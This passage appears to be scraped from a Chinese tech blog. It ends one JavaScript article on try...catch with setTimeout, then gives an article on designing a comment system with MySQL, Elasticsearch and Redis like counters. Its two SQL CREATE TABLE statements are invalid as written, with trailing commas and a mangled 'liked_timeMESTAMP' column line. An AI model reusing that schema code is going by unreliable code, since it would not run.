console.log('打印***finally')
}
结果如下:
因为 try...catch
包裹了计划要执行的函数,该函数本身要稍后才执行,这时引擎已经离开了 try...catch
结构。
为了捕获到计划的(scheduled)函数中的异常,那么 try...catch
必须在这个函数内:
try {
setTimeout(function () {
try {
noSuchVariable; // 脚本将在这里停止运行
} catch (error) {
console.log(error)
}
}, 1000);
} catch (err) {
alert("不工作");
} finally {
console.log('打印***finally')
}
结果如下:
总结
在使用try...catch...finally
的时候,无论是否发生异常(即是否执行了catch
块),finally
块中的代码总是会被执行,除非在try
、catch
或finally
块中发生了阻止程序继续执行的情况(如Promsie一直处理pending状态)。
如有错误,请指正O^O!
来源:juejin.cn/post/7419524503200677898
这个评论系统设计碉堡了
先赞后看,南哥助你Java进阶一大半
geeksforgeeks.org
官网给出了Facebook评论系统的高级设计图,Facebook的评论竟然是支持实时刷新的。也就是说用户不用刷新帖子,只要帖子有新的评论就会自动推送到用户端,这里Facebook使用的便是每天在全球有超过20亿设备在使用的WebSocket
技术。
我是南哥,一个Java学习与进阶的领路人。
相信对你通关面试、拿下Offer进入心心念念的公司有所帮助。
⭐⭐⭐本文收录在《Java学习/进阶/面试指南》:https://github/JavaSouth
精彩文章推荐
- 面试官没想到一个ArrayList,我都能跟他扯半小时
- 《我们一起进大厂》系列-Zookeeper基础
- 再有人问你WebSocket为什么牛逼,就把这篇文章发给他!
- 全网把Kafka概念讲的最透彻的文章,别无二家
- 可能是最漂亮的Java I/O流详解
1. 评论系统设计
1.1 评论表如何设计
评论系统的表要这么设计,每条评论的id标识要么是根评论id、要么是回复评论id。如果是根评论,那parent_comment_id字段就为空;而回复别人的评论,parent_comment_id字段指向根评论id。
CREATE TABLE `comments` (
`comment_id` INT AUTO_INCREMENT PRIMARY KEY, -- 评论唯一ID
`user_id` INT NOT NULL, -- 用户ID
`content` TEXT NOT NULL, -- 评论内容
`parent_comment_id` INT DEFAULT NULL, -- 如果是回复,则指向原始评论ID
`post_id` INT NOT NULL, -- 被评论的帖子或内容ID
`like_count` INT DEFAULT 0, -- 点赞数量
`create_time` TIMESTAMP DEFAULT CURRENT_TIMESTAMP, -- 评论创建时间
);
我们还要给评论加上点赞数,南哥给大家看看抖音的评论设计。
用户可以给每条评论打上点赞,所以我们应该再设计一个点赞表。其实抖音这种评论模式叫嵌套式评论结构
,嵌套式评论注重用户对话交流,用户可以很方便地查看一个对话里的所有回复,我们看下抖音评论里有着展开10条回复
的按钮。
其他评论模式设计还有平铺式评论结构
,像微信朋友圈,或者Github的issue都是平铺式评论结构。这种设计更适合用户关注重点在发布的内容本身,而不是对话。大家有没发现微信朋友圈的特点是对话比较少点,点赞反而更多。
来看看点赞表设计。
CREATE TABLE `comment_likes` (
`user_id` INT NOT NULL, -- 点赞用户ID
`comment_id` INT NOT NULL, -- 被点赞的评论ID
`liked_timeMESTAMP DEFAULT CURRENT_TIMESTAMP, -- 点赞时间
);
1.2 评论数据存储
抖音每天产生视频几百万、上千万,每个视频的评论高的甚至有上万条评论,要怎么样的数据查询设计才能支持每天亿级的评论?
南哥先假设我们用MySQL作为实际的数据存储,这么高的并发肯定不能让查询直接冲击数据库 。再分库分表也是没用。
Elasticsearch官网这么宣传它的产品:
Elasticsearch 极其快速,快到不可思议
当用户发表评论时,我们首先把评论写入MySQL数据库,再使用异步机制把评论同步到Elasticsearch中。当在用户请求查询评论时,优先从 Elasticsearch 中进行查询。
// 评论存储到MySQL、Elasticsearch
public void storeComment(Comment comment) {
// 将评论存入 MySQL
commentRepository.save(comment);
// 异步将评论同步到 Elasticsearch
CompletableFuture.runAsync(() -> {
elasticsearchService.indexComment(comment);
});
}
1.3 事务控制
大家想一想以上设计,有哪些需要进行事务控制?
例如comment_likes点赞表的插入和comment评论表的更新,用户为某一个评论点赞,会在comment_likes表插入一条新记录,同时会更新comment表的点赞数量。
但是,从用户需求的角度来看,用户并不在意点赞数的强一致性和实时性,这点不使用事务也可以接受。
我曾经和老外程序员在论坛聊过,他说他们的点赞后端分布式服务用的本地缓存,即使每一个服务的本地缓存相对不太一致,对系统完全没有影响。
// 事务控制
@Transactional
public void likeComment(int commentId, int userId) {
// 插入一条点赞记录
commentLikesRepository.insert(userId, commentId);
// 更新评论表中的点赞数量,假设有一个专门的方法来处理这个更新
commentRepository.incrementLikeCount(commentId);
}
1.4 点赞数加入Redis
点赞数相比评论来说,量更加巨大,用户点赞时直接落到MySQL数据库肯定不合理,服务器扛不住也没必要扛。
假如点赞数没有进行事务控制。南哥打算这样处理,用户点赞后,后端服务接受到点赞请求,把用户内容、点赞数放到Redis里,这里采用Redis五大基本类型之一:Map。
// Map结构
comment_like_key = [comment_id_6:like_count = 66, comment_id_7:like_count = 77]
我们需要查询点赞数时直接从高性能内存数据库Redis查询。
当然这还没完,MySQL数据库和Elasticsearch的点赞量需要去同步更新,我们设置定时任务每个一段时间完成数据同步任务。上文的comment_likes点赞记录表同样需要记录,把点赞放到Redis时进行异步添加点赞记录即可。
// 定时任务数据同步任务
@Scheduled(fixedRate = 10000)
public void syncLikes() {
// 从 Redis 中读取最新的点赞数据
Map<Integer, Integer> likes = redisService.fetchAllLikes();
// 同步到 MySQL 和 Elasticsearch
likes.forEach((commentId, likeCount) -> {
commentRepository.updateLikeCount(commentId, likeCount);
elasticsearchService.updateLikeCount(commentId, likeCount);
});
}
戳这,《JavaSouth》作为一份涵盖Java程序员所需掌握核心知识、面试重点的神秘文档。
我是南哥,南就南在Get到你的点赞点赞。
创作不易,不妨点赞、收藏、关注支持一下,各位的支持就是我创作的最大动力❤️
来源:juejin.cn/post/7418084847615737868